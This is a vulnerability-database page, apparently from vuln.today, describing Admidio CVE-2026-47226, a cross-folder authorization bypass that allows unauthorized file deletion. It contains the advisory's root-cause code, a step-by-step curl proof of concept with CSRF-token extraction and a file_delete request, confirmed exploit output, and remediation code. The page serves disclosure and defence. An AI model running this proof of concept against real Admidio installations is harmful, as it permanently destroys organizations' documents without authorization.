Admidio CVE-2026-47226
MEDIUMSeverity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
An authenticated Admidio member with upload rights on any one folder can permanently delete files from folders where they have only view access. The authorization check at the top of modules/documents-files.php evaluates upload rights against the attacker-supplied folder_uuid URL parameter - not the file's actual parent folder. The file_delete handler then only verifies view rights on the file's real location, never upload rights. By passing a folder they legitimately own in folder_uuid while targeting a file in a restricted folder via file_uuid, an attacker bypasses the upload-right check entirely and permanently deletes the file.
This is an incomplete fix of GHSA-rmpj-3x5m-9m5f, which was patched in v5.0.7 but remains exploitable in v5.0.9.
Affected Version: Admidio v5.0.9
---
Details
Root Cause File: modules/documents-files.php
Issue 1 - folder_uuid is not required for file_delete mode (line 67):
$getFolderUUID = admFuncVariableIsValid($_GET, 'folder_uuid', 'uuid', array(
'requireValue' => !in_array($getMode, array('list', 'file_delete', 'download'))
));Issue 2 - The top-level upload-right check loads the folder from the attacker-controlled URL parameter, not the file's actual parent folder (lines 79-88):
if ($getMode != 'list' && $getMode != 'download') {
$folder = new Folder($gDb);
$folder->getFolderForDownload($getFolderUUID); // uses attacker-supplied UUID
if (!$folder->hasUploadRight()) {
$gMessage->show($gL10n->get('SYS_NO_RIGHTS'));
}
}Issue 3 - The file_delete handler only checks view rights via getFileForDownload(). Upload rights on the file's actual folder are never verified (lines 165-178):
case 'file_delete':
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$file = new File($gDb);
$file->getFileForDownload($getFileUUID); // view-only check, not upload
$file->delete();
echo json_encode(array('status' => 'success'));
break;File::getFileForDownload() in src/Documents/Entity/File.php checks only view-role membership - it never verifies upload rights.
---
Attack Scenario
- The organization has two folders:
PrivateFolder(role A: view-only) andUploadFolder(role A: upload + view). - Attacker is a member of role A - they have legitimate upload access to
UploadFolderonly. - Attacker enumerates a file UUID in
PrivateFolderusingfile_listmode, which is accessible to anyone with view rights. - Attacker sends a
file_deletePOST usingUploadFolder's UUID infolder_uuidand thePrivateFolderfile UUID infile_uuid. - Server checks upload rights against
UploadFolder→ passes. - Server deletes the file from
PrivateFolderwithout ever checking upload rights there.
Prerequisites:
- Authenticated Admidio member account
- Upload rights on at least one folder (legitimately assigned)
- View rights on the target folder (sufficient to enumerate file UUIDs via
file_listmode) - Knowledge of a target file UUID (obtainable from the folder listing)
---
PoC
Step 1 - Authenticate and obtain login CSRF token:
curl -c /tmp/admidio_cookies.txt http://TARGET/system/login.php > /tmp/login.html
LOGIN_CSRF=$(grep -o 'name="adm_csrf_token"[^>]*value="[^"]*"' /tmp/login.html \
| grep -o 'value="[^"]*"' | cut -d'"' -f2)
curl -b /tmp/admidio_cookies.txt -c /tmp/admidio_cookies.txt \
-X POST "http://TARGET/system/login.php?mode=check" \
-d "usr_login_name=MEMBER&usr_password=PASSWORD&adm_csrf_token=${LOGIN_CSRF}"Step 2 - Extract authenticated session CSRF token:
AUTH_CSRF=$(curl -s -b /tmp/admidio_cookies.txt \
"http://TARGET/system/file_upload.php?module=documents_files&uuid=UPLOAD_FOLDER_UUID" \
| grep -oP 'name:\s*"adm_csrf_token",\s*value:\s*"\K[^"]+')Step 3 - Delete file from restricted folder using the upload folder UUID as bypass:
curl -b /tmp/admidio_cookies.txt \
-X POST "http://TARGET/modules/documents-files.php?mode=file_delete&file_uuid=PRIVATE_FILE_UUID&folder_uuid=UPLOAD_FOLDER_UUID" \
-d "adm_csrf_token=${AUTH_CSRF}"Expected response: {"status":"success"}
Confirmed on Docker - Admidio v5.0.9 (admidio/admidio:v5.0.9):
[*] Login CSRF: qhlOt8RB12vIuzBYD4eUVDk1VlVKqN
[+] Authenticated as 'testmember'
[*] Operation CSRF: EacPuqIWUKVIb7PcVrMypikUrblhhn
[*] Sending file_delete for 93dc6280-4332-11f1-bba7-0242ac110003 via folder bypass...
[*] HTTP 200: {"status":"success"}
[!!!] VULNERABLE - file deleted without upload rights on target folder
Deleted file UUID: 93dc6280-4332-11f1-bba7-0242ac110003testmember holds upload rights only on UploadFolder. secret2.txt (UUID 93dc6280-...-bba7-...) resided in PrivateFolder and was permanently deleted from both the database and filesystem.
---
Impact
An authenticated Admidio member with legitimate upload access to any one folder can permanently delete files from any other folder to which they have view access - without authorization. In organizations where upload rights are delegated by role (e.g., team leads upload to their own folder, view-only everywhere else), this enables cross-folder sabotage and permanent destruction of shared documents.
Business Impact: Data loss, destruction of shared organizational documents, and compliance violations in organizations relying on Admidio for document management.
Remediation
In the file_delete handler, after loading the file via getFileForDownload(), verify upload rights against the file's actual parent folder - not the URL-supplied folder_uuid:
case 'file_delete':
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$file = new File($gDb);
$file->getFileForDownload($getFileUUID);
// Verify upload rights on the file's actual parent folder
$parentFolder = new Folder($gDb);
$parentFolder->readDataById((int)$file->getValue('fil_fol_id'));
if (!$parentFolder->hasUploadRight()) {
$gMessage->show($gL10n->get('SYS_NO_RIGHTS'));
}
$file->delete();
echo json_encode(array('status' => 'success'));
break;Alternative fix: Remove the top-level folder_uuid check for file_delete entirely and move a proper upload-rights verification into the file_delete case as the sole authority for authorization.
Defense-in-depth recommendations:
- Audit all other modes in
documents-files.php(e.g.,folder_delete,file_rename) for the same pattern of trustingfolder_uuidfrom the URL instead of the resource's actual parent. - Add an integration test asserting a user with upload rights on Folder A cannot perform destructive operations on files in Folder B.
- Consider centralizing authorization in a single helper (e.g.,
assertUploadRightOnFile($fileUuid)) to eliminate the URL-parameter trust-boundary issue across the codebase.
---
Credits
- Researcher: Vishal Kumar B - https://github.com/VishaaLlKumaaRr - Security Researcher & Penetration Tester
- Disclosure: Responsible disclosure to Admidio maintainers
Resources
- GHSA-rmpj-3x5m-9m5f - Prior incomplete fix, patched in v5.0.7
- CWE-862: Missing Authorization
- [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html
AnalysisAI
Cross-folder unauthorized file deletion in Admidio v5.0.9 allows any authenticated member with upload rights on a single folder to permanently destroy files stored in folders where they hold only view access. The vulnerability stems from a broken authorization boundary in modules/documents-files.php: the top-level upload-right check trusts an attacker-supplied folder_uuid URL parameter rather than the target file's actual parent folder, while the file_delete handler performs only a view-right check. This is confirmed as an incomplete fix of GHSA-rmpj-3x5m-9m5f (previously addressed in v5.0.7 but reintroduced by v5.0.9). A fully functional public proof-of-concept with step-by-step curl commands has been confirmed against a Docker deployment of v5.0.9; no public exploit identified at time of analysis as a weaponized tool, but the PoC lowers exploitation barrier significantly.
Technical ContextAI
Admidio is a PHP-based community and organization management platform. The vulnerability resides in modules/documents-files.php, which handles document and file operations. The root cause maps to CWE-639 (Authorization Bypass Through User-Controlled Key) and CWE-862 (Missing Authorization). Specifically, three code-level defects combine: (1) the folder_uuid parameter is not required when mode=file_delete, allowing it to be any UUID the attacker controls; (2) the top-level upload-rights gate calls getFolderForDownload($getFolderUUID) using the attacker-supplied UUID rather than the file's actual parent folder ID, so the rights check passes against a folder the attacker legitimately owns; (3) the file_delete case invokes only getFileForDownload($getFileUUID), which enforces view-role membership but never checks upload rights on the file's real parent folder (derivable via fil_fol_id). The affected package is composer/admidio/admidio at versions up to and including 5.0.9.
RemediationAI
Upgrade to Admidio v5.0.10, which is confirmed as the fixed version per GitHub Advisory GHSA-qc4c-hrmc-4f78 (https://github.com/Admidio/admidio/security/advisories/GHSA-qc4c-hrmc-4f78). The correct fix requires the file_delete handler to load the file's actual parent folder via $file->getValue('fil_fol_id') and call hasUploadRight() against that folder - not the URL-supplied folder_uuid. If immediate upgrade is not possible, a compensating control is to restrict upload rights to administrator-level roles only, eliminating the condition where a non-admin member holds upload rights on any folder; this removes the attack primitive entirely but may disrupt legitimate workflows. Alternatively, a WAF or application-layer rule blocking POST requests to modules/documents-files.php?mode=file_delete where folder_uuid and the file's known parent UUID diverge could be applied, though this requires knowledge of the folder-file UUID mappings. Additionally, administrators should audit all other destructive modes in documents-files.php (e.g., folder_delete, file_rename) for the same URL-parameter trust-boundary pattern as flagged by the researcher.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du
Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve
Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-qc4c-hrmc-4f78